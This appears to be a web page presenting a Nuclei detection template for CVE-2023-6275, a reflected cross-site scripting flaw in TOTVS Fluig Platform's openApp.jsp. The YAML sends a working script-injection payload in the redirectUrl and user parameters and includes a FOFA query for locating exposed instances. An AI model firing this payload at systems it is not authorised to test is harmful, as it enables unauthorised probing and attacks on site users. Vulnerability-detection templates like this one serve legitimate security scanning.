TOTVS Fluig Platform - Cross-Site Scripting

ID: CVE-2023-6275

Severity: medium

Author: s4e-io

Tags: cve,cve2023,xss,fluig

Description

A vulnerability was found in TOTVS Fluig Platform 1.6.x/1.7.x/1.8.0/1.8.1. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /mobileredir/openApp.jsp of the component mobileredir. The manipulation of the argument redirectUrl/user with the input “> leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

YAML Source

id: CVE-2023-6275

info:
  name: TOTVS Fluig Platform - Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    A vulnerability was found in TOTVS Fluig Platform 1.6.x/1.7.x/1.8.0/1.8.1. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /mobileredir/openApp.jsp of the component mobileredir. The manipulation of the argument redirectUrl/user with the input "><script>alert(document.domain)</script> leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
  reference:
    - https://github.com/erickfernandox/CVE-2023-6275
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6275
    - https://vuldb.com/?id.246104
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-6275
    cwe-id: CWE-79
    epss-score: 0.00075
    epss-percentile: 0.33269
    cpe: cpe:2.3:a:totvs:fluig:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: totvs
    product: fluig
    fofa-query: app="TOTVS-Fluig"
  tags: cve,cve2023,xss,fluig

http:
  - method: GET
    path:
      - "{{BaseURL}}/mobileredir/openApp.jsp?redirectUrl=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
      - "{{BaseURL}}/mobileredir/openApp.jsp?user=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'
          - 'fluig://'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a0046304402204178c438d53e879b9c09405702d1a0e7f27f69482c00d15cbe3e1db4e271e1f902203cd4fa61106c905ca91cc8c6718aba69df235f4d79331599a630eb49a2c2ecca:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-6275.yaml"

View on Github